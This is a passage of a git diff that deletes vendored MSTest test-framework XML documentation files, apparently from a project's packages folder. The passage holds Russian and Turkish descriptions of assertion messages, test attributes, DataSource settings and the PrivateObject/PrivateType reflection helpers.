Ищет локализованную строку, похожую на "Ожидаемое: <{1} ({2})>. Фактическое: <{3} ({4})>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое: <{1}>. Фактическое: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Различие между ожидаемым значением <{1}> и фактическим значением <{2}> должно было составлять больше <{3}>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидалось любое значение, кроме: <{1}>. Фактическое значение: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Не передавайте типы значений в AreSame(). Значения, преобразованные в объекты, никогда не будут одинаковыми. Воспользуйтесь методом AreEqual(). {0}". - - - - - Ищет локализованную строку, похожую на "Сбой {0}. {1}". - - - - - Ищет локализованную строку, аналогичную "Асинхронный метод TestMethod с UITestMethodAttribute не поддерживается. Удалите async или используйте TestMethodAttribute". - - - - - Ищет локализованную строку, похожую на "Обе коллекции пусты. {0}". - - - - - Ищет локализованную строку, похожую на "Обе коллекции содержат одинаковые элементы". - - - - - Ищет локализованную строку, похожую на "Ссылки на обе коллекции указывают на один объект коллекции. {0}". - - - - - Ищет локализованную строку, похожую на "Обе коллекции содержат одинаковые элементы. {0}". - - - - - Ищет локализованную строку, похожую на "{0}({1})". - - - - - Ищет локализованную строку, похожую на "(NULL)". - - - - - Ищет локализованную строку, похожую на "(объект)". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не содержит строку "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "{0} ({1})". - - - - - Ищет локализованную строку, похожую на "Assert.Equals не следует использовать для Assertions. Используйте Assert.AreEqual и переопределения". - - - - - Ищет локализованную строку, похожую на "Число элементов в коллекциях не совпадает. Ожидаемое число: <{1}>. Фактическое: <{2}>.{0}". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {0} не соответствует". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {1} имеет непредвиденный тип. Ожидаемый тип: <{2}>. Фактический тип: <{3}>.{0}". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {1} имеет значение (NULL). Ожидаемый тип: <{2}>.{0}". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не заканчивается строкой "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Недопустимый аргумент — EqualsTester не может использовать значения NULL". - - - - - Ищет локализованную строку, похожую на "Невозможно преобразовать объект типа {0} в {1}". - - - - - Ищет локализованную строку, похожую на "Внутренний объект, на который была сделана ссылка, более не действителен". - - - - - Ищет локализованную строку, похожую на "Параметр "{0}" недопустим. {1}". - - - - - Ищет локализованную строку, похожую на "Свойство {0} имеет тип {1}; ожидаемый тип: {2}". - - - - - Ищет локализованную строку, похожую на "{0} Ожидаемый тип: <{1}>. Фактический тип: <{2}>". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не соответствует шаблону "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Неправильный тип: <{1}>. Фактический тип: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" соответствует шаблону "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Не указан атрибут DataRowAttribute. Необходимо указать как минимум один атрибут DataRowAttribute с атрибутом DataTestMethodAttribute". - - - - - Ищет локализованную строку, похожую на "Исключение не было создано. Ожидалось исключение {1}. {0}". - - - - - Ищет локализованную строку, похожую на "Параметр "{0}" недопустим. Значение не может быть равно NULL. {1}". - - - - - Ищет локализованную строку, похожую на "Число элементов различается". - - - - - Ищет локализованную строку, похожую на - "Не удалось найти конструктор с указанной сигнатурой. Возможно, потребуется повторно создать закрытый метод доступа, - или элемент может быть закрытым и определяться в базовом классе. В последнем случае необходимо передать тип, - определяющий элемент, в конструктор класса PrivateObject". - . - - - - - Ищет локализованную строку, похожую на - "Не удалось найти указанный элемент ({0}). Возможно, потребуется повторно создать закрытый метод доступа, - или элемент может быть закрытым и определяться в базовом классе. В последнем случае необходимо передать тип, - определяющий элемент, в конструктор PrivateObject". - . - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не начинается со строки "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое исключение должно иметь тип System.Exception или производный от него тип". - - - - - Ищет локализованную строку, похожую на "(Не удалось получить сообщение для исключения типа {0} из-за исключения.)". - - - - - Ищет локализованную строку, похожую на "Метод теста не создал ожидаемое исключение {0}. {1}". - - - - - Ищет локализованную строку, похожую на "Метод теста не создал исключение. Исключение ожидалось атрибутом {0}, определенным в методе теста". - - - - - Ищет локализованную строку, похожую на "Метод теста создан исключение {0}, а ожидалось исключение {1}. Сообщение исключения: {2}". - - - - - Ищет локализованную строку, похожую на "Метод теста создал исключение {0}, а ожидалось исключение {1} или производный от него тип. Сообщение исключения: {2}". - - - - - Ищет локализованную строку, похожую на "Создано исключение {2}, а ожидалось исключение {1}. {0} - Сообщение исключения: {3} - Стек трассировки: {4}". - - - - - результаты модульного теста - - - - - Тест был выполнен, но при его выполнении возникли проблемы. - Эти проблемы могут включать исключения или сбой утверждений. - - - - - Тест завершен, но результат его завершения неизвестен. - Может использоваться для прерванных тестов. - - - - - Тест был выполнен без проблем. - - - - - Тест выполняется в данный момент. - - - - - При попытке выполнения теста возникла ошибка в системе. - - - - - Время ожидания для теста истекло. - - - - - Тест прерван пользователем. - - - - - Тест находится в неизвестном состоянии - - - - - Предоставляет вспомогательные функции для платформы модульных тестов - - - - - Получает сообщения с исключениями, включая сообщения для всех внутренних исключений - (рекурсивно) - - Исключение, для которого следует получить сообщения - строка с сообщением об ошибке - - - - Перечисление для времен ожидания, которое можно использовать с классом . - Тип перечисления должен соответствовать - - - - - Бесконечно. - - - - - Атрибут тестового класса. - - - - - Получает атрибут метода теста, включающий выполнение этого теста. - - Для этого метода определен экземпляр атрибута метода теста. - - для использования для выполнения этого теста. - Extensions can override this method to customize how all methods in a class are run. - - - - Атрибут метода теста. - - - - - Выполняет метод теста. - - Выполняемый метод теста. - Массив объектов TestResult, представляющих результаты теста. - Extensions can override this method to customize running a TestMethod. - - - - Атрибут инициализации теста. - - - - - Атрибут очистки теста. - - - - - Атрибут игнорирования. - - - - - Атрибут свойства теста. - - - - - Инициализирует новый экземпляр класса . - - - Имя. - - - Значение. - - - - - Получает имя. - - - - - Получает значение. - - - - - Атрибут инициализации класса. - - - - - Атрибут очистки класса. - - - - - Атрибут инициализации сборки. - - - - - Атрибут очистки сборки. - - - - - Владелец теста - - - - - Инициализирует новый экземпляр класса . - - - Владелец. - - - - - Получает владельца. - - - - - Атрибут Priority; используется для указания приоритета модульного теста. - - - - - Инициализирует новый экземпляр класса . - - - Приоритет. - - - - - Получает приоритет. - - - - - Описание теста - - - - - Инициализирует новый экземпляр класса для описания теста. - - Описание. - - - - Получает описание теста. - - - - - URI структуры проекта CSS - - - - - Инициализирует новый экземпляр класса для URI структуры проекта CSS. - - URI структуры проекта CSS. - - - - Получает URI структуры проекта CSS. - - - - - URI итерации CSS - - - - - Инициализирует новый экземпляр класса для URI итерации CSS. - - URI итерации CSS. - - - - Получает URI итерации CSS. - - - - - Атрибут WorkItem; используется для указания рабочего элемента, связанного с этим тестом. - - - - - Инициализирует новый экземпляр класса для атрибута WorkItem. - - Идентификатор рабочего элемента. - - - - Получает идентификатор связанного рабочего элемента. - - - - - Атрибут Timeout; используется для указания времени ожидания модульного теста. - - - - - Инициализирует новый экземпляр класса . - - - Время ожидания. - - - - - Инициализирует новый экземпляр класса с заданным временем ожидания - - - Время ожидания - - - - - Получает время ожидания. - - - - - Объект TestResult, который возвращается адаптеру. - - - - - Инициализирует новый экземпляр класса . - - - - - Получает или задает отображаемое имя результата. Удобно для возврата нескольких результатов. - Если параметр равен NULL, имя метода используется в качестве DisplayName. - - - - - Получает или задает результат выполнения теста. - - - - - Получает или задает исключение, создаваемое, если тест не пройден. - - - - - Получает или задает выходные данные сообщения, записываемого кодом теста. - - - - - Получает или задает выходные данные сообщения, записываемого кодом теста. - - - - - Получает или задает трассировки отладки для кода теста. - - - - - Gets or sets the debug traces by test code. - - - - - Получает или задает продолжительность выполнения теста. - - - - - Возвращает или задает индекс строки данных в источнике данных. Задается только для результатов выполнения - отдельных строк данных для теста, управляемого данными. - - - - - Получает или задает возвращаемое значение для метода теста. (Сейчас всегда равно NULL.) - - - - - Возвращает или задает файлы результатов, присоединенные во время теста. - - - - - Задает строку подключения, имя таблицы и метод доступа к строкам для тестов, управляемых данными. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Имя поставщика по умолчанию для DataSource. - - - - - Метод доступа к данным по умолчанию. - - - - - Инициализирует новый экземпляр класса . Этот экземпляр инициализируется с поставщиком данных, строкой подключения, таблицей данных и методом доступа к данным для доступа к источнику данных. - - Имя инвариантного поставщика данных, например System.Data.SqlClient - - Строка подключения для поставщика данных. - Внимание! Строка подключения может содержать конфиденциальные данные (например, пароль). - Строка подключения хранится в виде открытого текста в исходном коде и в скомпилированной сборке. - Ограничьте доступ к исходному коду и сборке для защиты конфиденциальных данных. - - Имя таблицы данных. - Задает порядок доступа к данным. - - - - Инициализирует новый экземпляр класса . Этот экземпляр будет инициализирован с строкой подключения и именем таблицы. - Укажите строку подключения и таблицу данных для доступа к источнику данных OLEDB. - - - Строка подключения для поставщика данных. - Внимание! Строка подключения может содержать конфиденциальные данные (например, пароль). - Строка подключения хранится в виде открытого текста в исходном коде и в скомпилированной сборке. - Ограничьте доступ к исходному коду и сборке для защиты конфиденциальных данных. - - Имя таблицы данных. - - - - Инициализирует новый экземпляр класса . Этот экземпляр инициализируется с поставщиком данных и строкой подключения, связанной с именем параметра. - - Имя источника данных, обнаруженного в разделе <microsoft.visualstudio.qualitytools> файла app.config. - - - - Получает значение, представляющее поставщик данных для источника данных. - - - Имя поставщика данных. Если поставщик данных не был определен при инициализации объекта, будет возвращен поставщик по умолчанию, System.Data.OleDb. - - - - - Получает значение, представляющее строку подключения для источника данных. - - - - - Получает значение с именем таблицы, содержащей данные. - - - - - Возвращает метод, используемый для доступа к источнику данных. - - - - Один из значений. Если не инициализировано, возвращается значение по умолчанию . - - - - - Возвращает имя источника данных, обнаруженное в разделе <microsoft.visualstudio.qualitytools> файла app.config. - - - - - Атрибут для тестов, управляемых данными, в которых данные могут быть встроенными. - - - - - Найти все строки данных и выполнить. - - - Метод теста. - - - Массив . - - - - - Выполнение метода теста, управляемого данными. - - Выполняемый метод теста. - Строка данных. - Результаты выполнения. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index b864a5e8..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Test başına dağıtım için dağıtım öğesi (dosya veya dizin) belirtmek üzere kullanılır. - Test sınıfında veya test metodunda belirtilebilir. - Birden fazla öğe belirtmek için özniteliğin birden fazla örneğini içerebilir. - Öğe yolu mutlak veya göreli olabilir; göreli ise RunConfig.RelativePathRoot ile görelidir. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - sınıfının yeni bir örneğini başlatır. - - Dağıtılacak dosya veya dizin. Yol, derleme çıktı dizinine göredir. Öğe, dağıtılan test bütünleştirilmiş kodlarıyla aynı dizine kopyalanır. - - - - sınıfının yeni bir örneğini başlatır - - Dağıtılacak dosya veya dizinin göreli ya da mutlak yolu. Yol, derleme çıktı dizinine göredir. Öğe, dağıtılan test bütünleştirilmiş kodlarıyla aynı dizine kopyalanır. - Öğelerin kopyalanacağı dizinin yolu. Dağıtım dizinine göre mutlak veya göreli olabilir. Tüm dosyalar ve dizinler şuna göre tanımlanır: bu dizine kopyalanacak. - - - - Kopyalanacak kaynak dosya veya klasörün yolunu alır. - - - - - Öğenin kopyalandığı dizinin yolunu alır. - - - - - Bölüm, özellik ve özniteliklerin adlarına ait sabit değerleri içerir. - - - - - Yapılandırma bölümünün adı. - - - - - Beta2 için yapılandırma bölümü adı. Uyumluluk için kullanımda tutuluyor. - - - - - Veri kaynağının bölüm adı. - - - - - 'Name' için öznitelik adı - - - - - 'ConnectionString' için öznitelik adı - - - - - 'DataAccessMethod' için öznitelik adı - - - - - 'DataTable' için öznitelik adı - - - - - Veri Kaynağı öğesi. - - - - - Bu yapılandırmanın adını alır veya ayarlar. - - - - - .config dosyasındaki <connectionStrings> bölümünde bulunan ConnectionStringSettings öğesini alır veya ayarlar. - - - - - Veri tablosunun adını alır veya ayarlar. - - - - - Veri erişiminin türünü alır veya ayarlar. - - - - - Anahtarın adını alır. - - - - - Yapılandırma özelliklerini alır. - - - - - Veri kaynağı öğe koleksiyonu. - - - - - sınıfının yeni bir örneğini başlatır. - - - - - Belirtilen anahtara sahip yapılandırma öğesini döndürür. - - Döndürülecek öğenin anahtarı. - Belirtilen anahtar ile System.Configuration.ConfigurationElement; aksi takdirde, null. - - - - Belirtilen dizin konumundaki yapılandırma öğesini alır. - - Döndürülecek System.Configuration.ConfigurationElement öğesinin dizin konumu. - - - - Yapılandırma öğesi koleksiyonuna bir yapılandırma öğesi ekler. - - Eklenecek System.Configuration.ConfigurationElement öğesi. - - - - Bir System.Configuration.ConfigurationElement öğesini koleksiyondan kaldırır. - - . - - - - Bir System.Configuration.ConfigurationElement öğesini koleksiyondan kaldırır. - - Kaldırılacak System.Configuration.ConfigurationElement anahtarı. - - - - Tüm yapılandırma öğesi nesnelerini koleksiyondan kaldırır. - - - - - Yeni bir oluşturur. - - Yeni bir . - - - - Belirtilen yapılandırma öğesi için öğe anahtarını alır. - - Anahtarı döndürülecek System.Configuration.ConfigurationElement. - Belirtilen System.Configuration.ConfigurationElement için anahtar görevi gören bir System.Object. - - - - Yapılandırma öğesi koleksiyonuna bir yapılandırma öğesi ekler. - - Eklenecek System.Configuration.ConfigurationElement öğesi. - - - - Yapılandırma öğesi koleksiyonuna bir yapılandırma öğesi ekler. - - Belirtilen System.Configuration.ConfigurationElement öğesinin ekleneceği dizin konumu. - Eklenecek System.Configuration.ConfigurationElement öğesi. - - - - Testler için yapılandırma ayarları desteği. - - - - - Testler için yapılandırma bölümünü alır. - - - - - Testler için yapılandırma bölümü. - - - - - Bu yapılandırma bölümünün veri kaynaklarını alır. - - - - - Özellik koleksiyonunu alır. - - - Bir koleksiyonu. - - - - - Bu sınıf, sistemde çalışan, genel OLMAYAN İÇ nesneyi temsil eder - - - - - sınıfının, özel sınıfın zaten mevcut olan nesnesini - içeren yeni bir örneğini başlatır - - özel üyelere ulaşmak için başlangıç noktası olarak hizmet veren nesne - Alınacak nesneyi . ile gösteren, başvuru kaldırma dizesi. Örnek: m_X.m_Y.m_Z - - - - sınıfının, belirtilen türü sarmalayan yeni bir örneğini - başlatır. - - Bütünleştirilmiş kodun adı - tam adı - Oluşturucuya geçirilecek bağımsız değişken - - - - sınıfının, belirtilen türü sarmalayan yeni bir örneğini - başlatır. - - Bütünleştirilmiş kodun adı - tam adı - Bir dizi alınacak oluşturucuya ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler - Oluşturucuya geçirilecek bağımsız değişken - - - - sınıfının, belirtilen türü sarmalayan yeni bir örneğini - başlatır. - - oluşturulacak nesnenin türü - Oluşturucuya geçirilecek bağımsız değişken - - - - sınıfının, belirtilen türü sarmalayan yeni bir örneğini - başlatır. - - oluşturulacak nesnenin türü - Bir dizi alınacak oluşturucuya ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler - Oluşturucuya geçirilecek bağımsız değişken - - - - sınıfının, belirtilen nesneyi sarmalayan yeni bir - örneğini başlatır. - - kaydırılacak nesne - - - - sınıfının, belirtilen nesneyi sarmalayan yeni bir - örneğini başlatır. - - kaydırılacak nesne - PrivateType nesnesi - - - - Hedefi alır veya ayarlar - - - - - Temel alınan nesnenin türünü alır - - - - - hedef nesnenin karma kodunu döndürür - - hedef nesnenin karma kodunu temsil eden tamsayı - - - - Eşittir - - Karşılaştırma yapılacak nesneler - nesneler eşit ise true döndürür. - - - - Belirtilen metodu çağırır - - Metodun adı - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Metodun adı - Bir dizi alınacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Metodun adı - Bir dizi alınacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Genel bağımsız değişkenlerin türlerine karşılık gelen bir tür dizisi. - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Metodun adı - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Kültür bilgisi - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Metodun adı - Bir dizi alınacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Kültür bilgisi - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Metodun adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Metodun adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Bir dizi alınacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Metodun adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Kültür bilgisi - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Metodun adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Bir dizi alınacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Kültür bilgisi - Yöntem çağrısı sonucu - - - - Belirtilen metodu çağırır - - Yöntem adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Bir dizi alınacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Kültür bilgisi - Genel bağımsız değişkenlerin türlerine karşılık gelen bir tür dizisi. - Yöntem çağrısı sonucu - - - - Her boyut için alt simge dizisini kullanarak dizi öğesini alır - - Üyenin adı - dizi dizinleri - Öğe dizisi. - - - - Her boyut için alt simge dizisi kullanarak dizi öğesini ayarlar - - Üyenin adı - Ayarlanacak değer - dizi dizinleri - - - - Her boyut için alt simge dizisini kullanarak dizi öğesini alır - - Üyenin adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - dizi dizinleri - Öğe dizisi. - - - - Her boyut için alt simge dizisi kullanarak dizi öğesini ayarlar - - Üyenin adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Ayarlanacak değer - dizi dizinleri - - - - Alanı alır - - Alanın adı - Alan. - - - - Alanı ayarlar - - Alanın adı - ayarlanacak değer - - - - Alanı alır - - Alanın adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Alan. - - - - Alanı ayarlar - - Alanın adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - ayarlanacak değer - - - - Alanı veya özelliği alır - - Alan veya özelliğin adı - Alan veya özellik. - - - - Alanı veya özelliği ayarlar - - Alan veya özelliğin adı - ayarlanacak değer - - - - Alanı veya özelliği alır - - Alan veya özelliğin adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Alan veya özellik. - - - - Alanı veya özelliği ayarlar - - Alan veya özelliğin adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - ayarlanacak değer - - - - Özelliği alır - - Özellik adı - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Özellik. - - - - Özelliği alır - - Özellik adı - Bir dizi dizini oluşturulmuş özelliğe ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Özellik. - - - - Özelliği ayarlar - - Özellik adı - ayarlanacak değer - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - - - - Özelliği ayarlar - - Özellik adı - Bir dizi dizini oluşturulmuş özelliğe ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - ayarlanacak değer - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - - - - Özelliği alır - - Özelliğin adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Özellik. - - - - Özelliği alır - - Özelliğin adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - Bir dizi dizini oluşturulmuş özelliğe ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Özellik. - - - - Özelliği ayarlar - - Özellik adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - ayarlanacak değer - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - - - - Özelliği ayarlar - - Özellik adı - Bir veya daha fazla içeren bit maskesi aramanın nasıl yürütüldüğünü belirtir. - ayarlanacak değer - Bir dizi dizini oluşturulmuş özelliğe ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - - - - Erişim dizesini doğrular - - erişim dizesi - - - - Üyeyi çağırır - - Üyenin adı - Ek öznitelikler - Çağrı bağımsız değişkenleri - Kültür - Çağrı sonucu - - - - Geçerli özel türden en uygun genel metot imzasını ayıklar. - - İmza önbelleğinin aranacağı yöntemin adı. - İçinde arama yapılacak parametrelerin türlerine karşılık gelen bir tür dizisi. - Genel bağımsız değişkenlerin türlerine karşılık gelen bir tür dizisi. - yöntem imzalarını daha fazla filtrelemek için. - Parametreler için değiştiriciler. - Bir methodinfo örneği. - - - - Bu sınıf, Özel Erişimci işlevselliği için özel bir sınıfı temsil eder. - - - - - Her şeye bağlar - - - - - Sarmalanan tür. - - - - - sınıfının, özel türü içeren yeni bir örneğini başlatır. - - Bütünleştirilmiş kod adı - şunun tam adı: - - - - sınıfının, tür nesnesindeki özel türü içeren yeni bir - örneğini başlatır - - Oluşturulacak kaydırılmış Tür. - - - - Başvurulan türü alır - - - - - Statik üyeyi çağırır - - InvokeHelper üyesinin adı - Çağrı bağımsız değişkenleri - Çağrı sonucu - - - - Statik üyeyi çağırır - - InvokeHelper üyesinin adı - Bir dizi çağrılacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler - Çağrı bağımsız değişkenleri - Çağrı sonucu - - - - Statik üyeyi çağırır - - InvokeHelper üyesinin adı - Bir dizi çağrılacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler - Çağrı bağımsız değişkenleri - Genel bağımsız değişkenlerin türlerine karşılık gelen bir tür dizisi. - Çağrı sonucu - - - - Statik metodu çağırır - - Üyenin adı - Çağrı bağımsız değişkenleri - Kültür - Çağrı sonucu - - - - Statik metodu çağırır - - Üyenin adı - Bir dizi çağrılacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler - Çağrı bağımsız değişkenleri - Kültür bilgisi - Çağrı sonucu - - - - Statik metodu çağırır - - Üyenin adı - Ek çağrı öznitelikleri - Çağrı bağımsız değişkenleri - Çağrı sonucu - - - - Statik metodu çağırır - - Üyenin adı - Ek çağrı öznitelikleri - Bir dizi çağrılacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler - Çağrı bağımsız değişkenleri - Çağrı sonucu - - - - Statik metodu çağırır - - Üyenin adı - Ek çağrı öznitelikleri - Çağrı bağımsız değişkenleri - Kültür - Çağrı sonucu - - - - Statik metodu çağırır - - Üyenin adı - Ek çağrı öznitelikleri - /// Bir dizi çağrılacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler - Çağrı bağımsız değişkenleri - Kültür - Çağrı sonucu - - - - Statik metodu çağırır - - Üyenin adı - Ek çağrı öznitelikleri - /// Bir dizi çağrılacak yönteme ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler - Çağrı bağımsız değişkenleri - Kültür - Genel bağımsız değişkenlerin türlerine karşılık gelen bir tür dizisi. - Çağrı sonucu - - - - Statik dizideki öğeyi alır - - Dizinin adı - - Alınacak öğenin konumunu belirten dizinleri temsil eden tek boyutlu bir 32 bit - tamsayı dizisi. Örneğin, a[10][11] öğesine erişmek için dizinler {10,11} olur - - belirtilen konumdaki öğe - - - - Statik dizinin üyesini ayarlar - - Dizinin adı - ayarlanacak değer - - Ayarlanacak öğenin konumunu belirten dizinleri temsil eden tek boyutlu bir 32 bit - tamsayı dizisi. Örneğin, a[10][11] öğesine erişmek için dizi {10,11} olur - - - - - Statik dizideki öğeyi alır - - Dizinin adı - Ek InvokeHelper öznitelikleri - - Alınacak öğenin konumunu belirten dizinleri temsil eden tek boyutlu bir 32 bit - tamsayı dizisi. Örneğin, a[10][11] öğesine erişmek için dizi {10,11} olur - - belirtilen konumdaki öğe - - - - Statik dizinin üyesini ayarlar - - Dizinin adı - Ek InvokeHelper öznitelikleri - ayarlanacak değer - - Ayarlanacak öğenin konumunu belirten dizinleri temsil eden tek boyutlu bir 32 bit - tamsayı dizisi. Örneğin, a[10][11] öğesine erişmek için dizi {10,11} olur - - - - - Statik alanı alır - - Alanın adı - Statik alan. - - - - Statik alanı ayarlar - - Alanın adı - Çağrı bağımsız değişkeni - - - - Belirtilen InvokeHelper özniteliklerini kullanarak statik alanı alır - - Alanın adı - Ek çağrı öznitelikleri - Statik alan. - - - - Bağlama özniteliklerini kullanarak statik alanı ayarlar - - Alanın adı - Ek InvokeHelper öznitelikleri - Çağrı bağımsız değişkeni - - - - Statik alanı veya özelliği alır - - Alan veya özelliğin adı - Statik alan veya özellik. - - - - Statik alanı veya özelliği ayarlar - - Alan veya özelliğin adı - Alan veya özelliğe ayarlanacak değer - - - - Belirtilen InvokeHelper özniteliklerini kullanarak statik alanı veya özelliği alır - - Alan veya özelliğin adı - Ek çağrı öznitelikleri - Statik alan veya özellik. - - - - Bağlama özniteliklerini kullanarak statik alanı veya özelliği ayarlar - - Alan veya özelliğin adı - Ek çağrı öznitelikleri - Alan veya özelliğe ayarlanacak değer - - - - Statik özelliği alır - - Alan veya özelliğin adı - Çağrı bağımsız değişkenleri - Statik özellik. - - - - Statik özelliği ayarlar - - Özellik adı - Alan veya özelliğe ayarlanacak değer - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - - - - Statik özelliği ayarlar - - Özellik adı - Alan veya özelliğe ayarlanacak değer - Bir dizi dizini oluşturulmuş özelliğe ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - - - - Statik özelliği alır - - Özellik adı - Ek çağrı öznitelikleri. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Statik özellik. - - - - Statik özelliği alır - - Özellik adı - Ek çağrı öznitelikleri. - Bir dizi dizini oluşturulmuş özelliğe ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - Statik özellik. - - - - Statik özelliği ayarlar - - Özellik adı - Ek çağrı öznitelikleri. - Alan veya özelliğe ayarlanacak değer - Dizini oluşturulmuş özellikler için isteğe bağlı dizin değerleri. Dizini oluşturulmuş özelliklerin dizinleri sıfır tabanlıdır. Bu değer, dizini oluşturulmamış özellikler için null olmalıdır. - - - - Statik özelliği ayarlar - - Özellik adı - Ek çağrı öznitelikleri. - Alan veya özelliğe ayarlanacak değer - Bir dizi dizini oluşturulmuş özelliğe ait parametrelerin sayısını, sırasını ve türünü temsil eden nesneler. - Çağrılacak üyeye geçirilecek bağımsız değişkenler. - - - - Statik metodu çağırır - - Üyenin adı - Ek çağrı öznitelikleri - Çağrı bağımsız değişkenleri - Kültür - Çağrı sonucu - - - - Genel metotlar için metot imzası bulmayı sağlar. - - - - - Bu iki metodun metot imzalarını karşılaştırır. - - Method1 - Method2 - Benzer olduklarında true. - - - - Sağlanan türün temel türünden hiyerarşi derinliğini alır. - - Tür. - Derinlik. - - - - Sağlanan bilgilerle en çok türetilen türü bulur. - - Aday eşleşmeleri. - Eşleşme sayısı. - En çok türetilen metot. - - - - Temel ölçütlerle eşleşen bir metot kümesini göz önünde bulundurarak - bir tür dizisini temel alan bir metot seçin. Hiçbir metot ölçütlerle eşleşmezse bu metot - null döndürmelidir. - - Bağlama belirtimi. - Aday eşleşmeleri - Türler - Parametre değiştiriciler. - Eşleştirme metodu. Eşleşen yoksa null. - - - - Sağlanan iki metot arasından en belirli olanını bulur. - - Metot 1 - Metot 1 için parametre sırası - Parametre dizi türü. - Metot 2 - Metot 2 